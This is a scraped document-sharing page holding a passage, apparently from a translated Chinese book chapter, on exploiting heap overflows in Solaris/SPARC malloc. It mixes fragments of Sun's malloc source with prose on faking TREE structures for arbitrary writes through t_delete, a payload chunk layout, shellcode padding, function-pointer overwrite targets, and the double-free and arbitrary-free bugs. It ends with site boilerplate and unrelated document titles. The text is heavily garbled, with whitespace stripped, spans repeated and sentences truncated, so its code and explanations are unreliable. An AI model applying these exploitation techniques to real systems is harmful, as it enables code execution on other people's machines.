()atmostdelta=LONG_MAX;while(delta>0){if(GETCORE(delta)=={if(addr!=GETCORE(0))return}nsize-=LONG_MAX;delta=nsize;}}/*contiguousmemory*/if(addr==Baddr){ASSERT(offset==0);if(tp){addr=(charn+=SIZE(tp)+2*}elseaddr=Baddr-WORDSIZE;n+=WORDSIZE;}}addr+=/*newbottomaddress}elseaddr=Baddr-WORDSIZE;n+=WORDSIZE;}}addr+=/*newbottomaddressBaddr=addr+/*newbottomblock*/tp=(TREE*)addr;SIZE(tp)=n-2*ASSERT((SIZE(tp)%==/*reservedthelasttoheadanynoncontiguous/*non-contiguousfreeoldbottomblockif(Bottom&&Bottom!={}return}*Treerotationfunctions(BU:bottom-up,TD:top-LEFT1(x,\if((RIGHT(x)=LEFT(y))!=NULL)PARENT(RIGHT(x))if((PARENT(y)=PARENT(x))!=NULL)\if(LEFT(PARENT(x))==x)LEFT(PARENT(y))=elseRIGHT(PARENT(y))==LEFT(y)=PARENT(x)=if\=RIGHT(y))!=NULL)PARENT(LEFT(x))=if((PARENT(y)=PARENT(x))!=if(LEFT(PARENT(x))==x)LEFT(PARENT(y))=y;\elseRIGHT(PARENT(y))=y;\RIGHT(y)=x;PARENT(x)=BULEFT2(x,y,LEFT(y))LEFT(z))NULL)PARENT(RIGHT(x))=RIGHT(y)=x;PARENT(x)=BULEFT2(x,y,LEFT(y))LEFT(z))NULL)PARENT(RIGHT(x))=!=((PARENT(z)=if(LEFT(PARENT(x))==x)LEFT(PARENT(z))=LEFT(y)=x;PARENT(x)LEFT(z)=y;PARENT(y)yBURIGHT2(x,y,\NULL)PARENT(LEFT(x))=x;\NULL)PARENT(LEFT(y))=!==if(LEFT(PARENT(x))==x)LEFT(PARENT(z))=z;\elseRIGHT(PARENT(z))=z;\RIGHT(z)=y;PARENT(y)=z;RIGHT(y)=x;PARENT(x)=TDLEFT2(x,y, if((RIGHT(y)=LEFT(z))!=NULL)PARENT(RIGHT(y))=y;\if((PARENT(z)=PARENT(x))!=NULL)\if(LEFT(PARENT(x))==x)LEFT(PARENT(z))=z;\elseRIGHT(PARENT(z))=z;\PARENT(x)=z;LEFT(z)=TDRIGHT2(x,y,\if((LEFT(y)=RIGHT(z))!=NULL)PARENT(LEFT(y))=if((PARENT(z)=PARENT(x))!=if(LEFT(PARENT(x))==x)LEFT(PARENT(z))elseRIGHT(PARENT(z))=z;\PARENT(x)=z;RIGHT(z)==*atreestaticvoid{ *tp,*sp,/*ifthisisanon-treenode*/if(ISNOTREE(op)){tp=if((sp=LINKFOR(op))!=LINKBAK(sp)=tp;LINKFOR(tp)=sp;}makeoptherootoftheLINKBAK(sp)=tp;LINKFOR(tp)=sp;}makeoptherootofthetree*/ifthisisthestartofalist*/((tp=LINKFOR(op))!=NULL){PARENT(tp)=if((sp=LEFT(op))!=NULL)PARENT(sp)=tp;LEFT(tp)=if((sp=RIGHT(op))!=NULL)PARENT(sp)=tp;RIGHT(tp)=Root=}ifophasanon-nullleftsubtree((tp=LEFT(op))!=NULL){PARENT(tp)=if(RIGHT(op))/*maketheright-endofleftsubtreeitsrootwhile((sp=RIGHT(tp))!={if((gp=RIGHT(sp))!={TDLEFT2(tp,sp,gp);tp=gp;}elsetp=sp;}/*hooktherightsubtreeofoptotheaboveelt*/RIGHT(tp)=RIGHT(op);}}elseif((tp=RIGHT(op))!=PARENT(tp)=/*Root=}}elseif((tp=RIGHT(op))!=PARENT(tp)=/*Root=}***BottomThebasicpathsplaying(simpleideaistoroughlycutinhalfRoottotpandmaketpthestaticvoid{*pp,/*iterateuntiltpistherootwhile((pp=PARENT(tp))!=NULL)grandparentoftp=xisaleftchild*/(LEFT(pp)==tp){if(gp&&LEFT(gp)=={BURIGHT2(gp,pp,}else}}elseASSERT(RIGHT(pp)==if(gp&&RIGHT(gp)==pp){BULEFT2(gp,pp,tp);}else}}}}***Performsadelayedfreeofthebyold.Thepointertooldissavedonalist,****untilthenextmallocorrealloc.Atthattime,allblockspointedtoinflistareactuallyfreedviarealfree().****untilthenextmallocorrealloc.Atthattime,allblockspointedtoinflistareactuallyfreedviarealfree().Thisallowsthecontentsoffreeblockstoremainundisturbeduntilthenextfree(void{(void)_mutex_lock(&(void)_mutex_unlock(&}_free_unlocked(void{if(old==******Makesurethesamedatablockis3casesarechecked.ItreturnsimmediatelyifoneoftheconditionsisLastNotinuseorfreedalready.Inthefreelist.if(old==Lfree)iffor(i=0;i<freeidx;i++)if(old==flist[i])if(flist[freeidx]!=NULL)flist[freeidx]=Lfree=freeidx=(freeidx+1)&FREEMASK;oneforward}*******cleanfree()freesalltheblockspointedtoberealloc()shouldworkifitiscalledwith*******cleanfree()freesalltheblockspointedtoberealloc()shouldworkifitiscalledwithatoablockthatwasfreedsincethelastcalltorealloc().Ifcleanfree()iscalledfromrealloc(),issettotheoldblockandthatblockfreedsinceitisactuallybeingstaticvoid{flp=(charfor(;;)(flp==(charflp=(char**)&(flist[FREESIZE]);(*--flp==NULL)(*flp!=ptr)*flp=}freeidx=0;Lfree=NULL;}Copyright(c)1988AllRightsTHISISUNPUBLISHEDPROPRIETARYSOURCEThecopyrightnoticeabovedoesnotevidenceactualorintendedpublicationofsuchsource**Copyright(c)1996-1997bySunMicrosystems,Allrights/*/*debuggingmacros((void)((p)||(abort(),((void)nmalloc,nrealloc,/*debuggingmacros((void)((p)||(abort(),((void)nmalloc,nrealloc,#endif/*DEBUG/*functiontocopydatafromoneareatoanotherMEMCOPY(to,fr,((void)memcpy(to,/*for(sizeof(TREE)-sizeofif(s%WORDSIZE)s+=(WORDSIZE-(s%*****Thefollowingdefinitionseaseonamachineinwhichsizeof(pointer)==sizeof(int)==4.Thesedefinitionsarenotportable.Alignment(ALIGN)changedto8forSPARC8_t_}((b)-((b)-((b)-((b)-((b)-((b)-((b)-/*!DEBUG32*Allofour}((b)-((b)-((b)-((b)-((b)-((b)-((b)-/*!DEBUG32*Allofourallocationswillbealignedontheleastmultipleof*atleast,so#ifdefloworderbitsare8/*theproto-word;typedefunion_w_{beALIGNbytes/*anunsignedint/*apointer/*toforcesize}/*structureanodeinfreetreetypedefstruct{}sizeofthiselement*/parentnode*/leftchild*/rightchild*/nextinlinklistdummytoreservespaceforself-/*#ofbytestheblock(((b)-/*freetreepointers(((b)-(((b)-(((b)-/*linkinlistsofsmallblocks(((b)-/*andlinksfor(((b)-(((b)-(((b)-/*linkinlistsofsmallblocks(((b)-/*andlinksforlistsinthetree*/(((b)-/*DEBUG32/*set/testindicatorablockisinthetreeorinalist*/(LEFT(b)=(TREE*)(-1))(LEFT(b)==(TREE*)(-/*functionstogetinformationonablock(((char*)(b))+WORDSIZE)((TREE*)(((char*)(d))-((TREE**)(((char*)(b))+(*((TREE**)(((char*)(b))-((TREE*)(((char*)(b))+SIZE(b)+WORDSIZE))((DATA(b)+SIZE(b)+WORDSIZE)==Baddr)/*functionstoandlowesttwobitsofaword/*...001/*...010/*...011((w)((w)/*Isbusy?/*Istheprecedingfree?/*Blockisbusy/*TheprecedingisfreeCleanbit0*/Cleanbit1/*Setbits0&1((w)|=((w)&=~BITS01)/*Cleanbits0&1((n)|=(BITS01&calltogetmorecore*/_free_unlocked(voidmutex_t/*_REENTRANTTREE結(jié)構(gòu)的基本元素被_free_unlocked(voidmutex_t/*_REENTRANTTREE結(jié)構(gòu)的基本元素被規(guī)定為WORD,有如下定/*theproto-word;sizebeALIGNbytestypedefunion{/*anunsignedint/*apointer/*toforcesize}libc版本,ALIGN被定義為8,從而使聯(lián)合總的大小為8字節(jié)空閑樹(shù)里的節(jié)點(diǎn)結(jié)構(gòu)被定義typedefstruct{}sizeofthiselement*/parentnode*/leftchild*/rightchild*/nextinlinklistdummytoreservespaceforself-pointer這個(gè)結(jié)構(gòu)由6個(gè)WORD組成,共48個(gè)字節(jié)。對(duì)任何實(shí)際使用中的堆塊(包括基頭部)來(lái)說(shuō),這10.7基本的破解方法置發(fā)現(xiàn)下一個(gè)塊。這是有用的,因?yàn)樨?fù)數(shù)的塊大小不NULL字節(jié),可以通過(guò)字符串庫(kù)free()”的文章(2001年8月11日第一次提到了這個(gè)方法。下面的代碼段摘自realfree()里seeifcoalescingwithnext=NEXT(tp);realfree()里seeifcoalescingwithnext=NEXT(tp);if(np!=*Deleteatreestaticvoid{ *tp,*sp,/*ifthisisanon-treeif(ISNOTREE(op)){tp=nodeif((sp=LINKFOR(op))!=LINKBAK(sp)=}有關(guān)的宏定義如(((b)-(((b)-(((b)-(((b)-(((b)-(LEFT(b)==(TREE*)(-造的和指向的。如果ISNOTREE()為真,將從TREE結(jié)構(gòu)op獲得兩個(gè)指針tp和sp。字節(jié)處)是-1,ISNOTREE為真上面的描述可能有些亂,我們把它總字節(jié)處)是-1,ISNOTREE為真上面的描述可能有些亂,我們把它總結(jié)TREEopt_l(位于結(jié)構(gòu)偏移16字節(jié)處)字段等于-1,繼續(xù)下一LINKBAKspt_p字段(位于結(jié)構(gòu)偏移8字節(jié)處)設(shè)為指針tpLINKBAKtpt_n字段(位于結(jié)構(gòu)偏移32字節(jié)處)設(shè)為指針sp是關(guān)于它的最好描述。這個(gè)操作類似于在雙向鏈表中刪去一個(gè)條目。能完成這個(gè)的TREE結(jié)構(gòu)構(gòu)造如表10.9.所示.上面TREE構(gòu)造tp的值被寫到sp+8字節(jié)處,sp的值被寫tp+32字節(jié)處。例t_delete內(nèi)的代碼被執(zhí)行時(shí),將用指Shellcodetp的值改寫函數(shù)指針。然而,Shellcode里32字節(jié)處的值將被sp的值改寫。FFFFFFF8偏移零處的值是塊的大小。NULL字節(jié),把這個(gè)值設(shè)為負(fù)數(shù)就比較方這個(gè)塊正在使用中,不適合合并。為了避免和前一個(gè)塊合并,第二位也應(yīng)該被清除。AA示的字節(jié)可以用任意值填充標(biāo)準(zhǔn)堆溢出的限制成的NOP填充物。這能被用來(lái)越過(guò)因互寫而產(chǎn)生的惡化,像正常情況那樣繼續(xù)執(zhí)行如果有可能,至少應(yīng)該Shellcode前面包256個(gè)字節(jié)的填充物,在堆溢出里可以用該盡一切辦法減少跳轉(zhuǎn)距離FFFFFFF8AAAAAATPTPTPTPAAAAAAFFFFFFFFAAAAAAAAAAAAAAAAAAAASPSPSPSPAAAAAAAAAAAAAAAAAAAA的值被不是有效代碼的指針改寫。記住,retjmpli78,g0合成的指令。寄存器%i7潰。如果你改成改Shellcode32字節(jié)處和越過(guò)第一條24字節(jié)處的值,那么你將是non-writable內(nèi)存區(qū)域,將會(huì)導(dǎo)致段故障。因?yàn)檎5拇a是不可寫的,這就排除了返回libc類型的攻擊,因?yàn)檫@類攻擊要利用在過(guò)(進(jìn))程地址空間內(nèi)發(fā)現(xiàn)的先前存在的代碼。破解Solaris堆實(shí)現(xiàn)的另外限制是,必須在被破壞的塊被釋放之后再調(diào)用malloc或realloc。因free()只把塊放入空閑列表中,而不對(duì)它做任何實(shí)質(zhì)性的處理,對(duì)被破壞的塊來(lái)說(shuō),促realfree()被調(diào)用是必須的。這mallocrealloc(cleanfree)之內(nèi)幾乎可表最多32個(gè)條目,當(dāng)它滿了以后free()操作將realfree()把一個(gè)條目(entry)從空閑列表刷去。在大多數(shù)應(yīng)用程序里,mallocrealloc調(diào)用是相當(dāng)普通的,通realloc發(fā)生前很難預(yù)防程序崩潰。為了使用上面描述的方法,某些字符是必需的,特別要包括字符0xFF,為了使分被使用,那么通過(guò)進(jìn)一步利用t_delete()以及t_splay()內(nèi)的代碼執(zhí)行任意改寫總是有可能限制將加在寫入值和被寫的地址上改寫的目標(biāo)不象其它的平臺(tái),Solaris/SPARCProcedureLinkageTable(PLT)代碼不會(huì)解除引用旦外部引用的后期連接(lazybinding)1在要求時(shí)被解析,且外部引用被解析過(guò),PLT被初始化加載外部引用地址到%g1,然JMP到那個(gè)地址。盡管有些攻擊允許用SPARC1后期連接(lazybinding)方式一般會(huì)大大提高應(yīng)用程序的性能,因?yàn)椴槐貫榻馕鰺o(wú)用的符號(hào)浪費(fèi)動(dòng)態(tài)連接PLT,但通常對(duì)堆溢出PLT,但通常對(duì)堆溢出沒(méi)什么益處。因?yàn)門REE結(jié)構(gòu)的tpsp成員必須是可寫的有效地址,生成一條指向你Shellcode且可寫的有效地址的單指令的可能性微乎其微。有可能對(duì)改寫有用的地址。為使破解可在多版Solaris的安裝上移植,創(chuàng)建一個(gè)大的庫(kù)函數(shù)版本列表是很有必要的。例如,lib函數(shù)經(jīng)常調(diào)用metex_locknon-thread-safe代碼。除了許多別的以外,它mallocfree立即調(diào)用。這個(gè)函數(shù)libc的.data區(qū)段內(nèi)稱為i_jmp_table的地址表,調(diào)用表里4字節(jié)處的函數(shù)指針。另一個(gè)可能有用的例子是當(dāng)進(jìn)程調(diào)用exit()時(shí)函數(shù)指針被調(diào)用。在函數(shù)調(diào)用_exithandle常指fini()例程訪exit來(lái)清除,但是它能被改寫,以促成exit上執(zhí)行任意代碼,例如這樣相對(duì)通用的、libcSolaris庫(kù)函數(shù)的代碼,對(duì)執(zhí)行任意代碼提供了很好的機(jī)底部塊可以在_malloc_unlocked里發(fā)現(xiàn)如下代碼行/*iffoundnonefittedinthetree*/if(!sp){if(Bottom&&size<=SIZE(Bottom))sp=/*iftheleftoverisenoughforanewfreepiece*/if((n=(SIZE(sp)-size))>=MINSIZE+WORDSIZE)n-=SIZE(sp)=size;tp=NEXT(sp);SIZE(tp)=n|BIT0;在上面的例子代碼里,sp用被破壞的大小指向底部塊。為了新分配內(nèi)存,將占用底部WORDSIZE和新分配的大小。然后在新構(gòu)造的realfree(),tp將是負(fù)數(shù)大小。在這里,前面提到的使用t_delete()的方法將工作得很好小塊惡化小塊惡化頭部。Solaris堆實(shí)現(xiàn)不是把所有小malloc請(qǐng)求湊成大的,而是用另外的方法處理小塊。函數(shù)實(shí)現(xiàn)。這段代碼處理“上舍入”后為8,16,24,或32字節(jié)的請(qǐng)求。_smalloc函數(shù)分配相同大小的內(nèi)存塊(block)來(lái)滿足malloc請(qǐng)求。這些塊被安排在malloc塊的結(jié)構(gòu)如表10.10.所示10.10.malloc塊的結(jié)malloc塊的鏈表屬性也可被用于其它有趣的破解方法。在某些情況下,是不可能用用攻擊者定義的數(shù)據(jù)改寫堆的其它部分,然而,經(jīng)常有可能寫入malloc塊鏈表里。通過(guò)410.8其它與堆相關(guān)的漏洞還有其它利用堆數(shù)據(jù)結(jié)構(gòu)的漏洞。讓我們看一些最常見(jiàn)的,并學(xué)習(xí)怎樣破解它們來(lái)獲執(zhí)行控Off-by-one溢出主要是因?yàn)樽止?jié)序的問(wèn)題。off-by-one在堆上寫一個(gè)越界NULL字節(jié)絕對(duì)不會(huì)影響到堆的完整性。因?yàn)閴K大小最有意義的字節(jié)實(shí)際上是零,寫一個(gè)越界的NULL字節(jié)不會(huì)對(duì)它產(chǎn)生樣的話,破解的可能性很小,這要看快要破壞時(shí)堆的大小,和是否能在有效的地址發(fā)現(xiàn)下WORDsize(8WORDnext(8塊。一般而言,此類破解非常困難,幾乎不可能塊。一般而言,此類破解非常困難,幾乎不可能DoubleFree漏洞里面做了一些檢查,減少了破解機(jī)會(huì)。其中有些檢查明顯是針Doublefree的,但所幸的后的檢查是Doublefree的,將確定被釋放的塊不在空閑列表內(nèi)。如果三個(gè)檢查都通過(guò)了,將把這個(gè)塊放進(jìn)空閑列表,最終傳給realfree()。為了破Doublefree漏洞,必須在第一和第free之間的某個(gè)時(shí)候刷新空閑列表。這可以作為malloc或realloc調(diào)用的結(jié)果而發(fā)生,或者如果連續(xù)發(fā)生32次free,導(dǎo)致列表的一部分被刷新。第free必須引起這個(gè)塊和前一塊反向合并,以便原始的指針駐留在有效堆塊的中間。這個(gè)有效的堆塊必malloc再分配,然后被攻擊者控制的數(shù)據(jù)填充。這 ArbitraryFree漏洞ArbitraryFree漏洞指的是允許攻擊者直接指定傳free()的地址的編碼錯(cuò)誤。這看起來(lái)有點(diǎn)象新手所犯的可笑的編碼錯(cuò)誤,當(dāng)釋放未初始化的指針時(shí),或者像“union根據(jù)怎樣構(gòu)造目標(biāo)緩沖區(qū),ArbitraryFree漏洞和標(biāo)準(zhǔn)堆溢出非常類似。目標(biāo)是通過(guò)到一個(gè)可靠的位置,并把它作為地址傳遞給free(),那么,應(yīng)該想盡一切辦法來(lái)實(shí)現(xiàn)。堆現(xiàn)將通過(guò)發(fā)生在塊上的正常處理使它被釋放,而這將改寫你指定的任意地10.9堆溢出的例子再說(shuō)一次,用真
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 部編版八年級(jí)歷史(上)第4課洋務(wù)運(yùn)動(dòng)聽(tīng)課評(píng)課記錄
- 環(huán)保合作項(xiàng)目協(xié)議書
- 2022年新課標(biāo)八年級(jí)上冊(cè)道德與法治《第六課 角色與責(zé)任同在 》聽(tīng)課評(píng)課記錄(2課時(shí))
- 蘇科版數(shù)學(xué)七年級(jí)下冊(cè)7.2《探索平行線的性質(zhì)》聽(tīng)評(píng)課記錄1
- 湘教版數(shù)學(xué)八年級(jí)上冊(cè)1.3.3《整數(shù)指數(shù)冪的運(yùn)算法則》聽(tīng)評(píng)課記錄
- 無(wú)錫蘇教版四年級(jí)數(shù)學(xué)上冊(cè)《觀察由幾個(gè)正方體擺成的物體》聽(tīng)評(píng)課記錄
- 湘教版數(shù)學(xué)九年級(jí)下冊(cè)2.6《弧長(zhǎng)與扇形面積》聽(tīng)評(píng)課記錄2
- 可轉(zhuǎn)股債權(quán)投資協(xié)議書范本
- 投資框架協(xié)議書范本
- 多人合辦店鋪合伙協(xié)議書范本
- 衛(wèi)生院安全生產(chǎn)知識(shí)培訓(xùn)課件
- 口腔醫(yī)院感染預(yù)防與控制1
- 發(fā)生輸液反應(yīng)時(shí)的應(yīng)急預(yù)案及處理方法課件
- 中國(guó)旅游地理(高職)全套教學(xué)課件
- 門脈高壓性消化道出血的介入治療課件
- 民航保密培訓(xùn)課件
- 兒童尿道黏膜脫垂介紹演示培訓(xùn)課件
- 詩(shī)詞寫作入門
- 學(xué)校教育中的STEM教育模式培訓(xùn)課件
- 電器整機(jī)新產(chǎn)品設(shè)計(jì)DFM檢查表范例
- 樁基礎(chǔ)工程文件歸檔內(nèi)容及順序表
評(píng)論
0/150
提交評(píng)論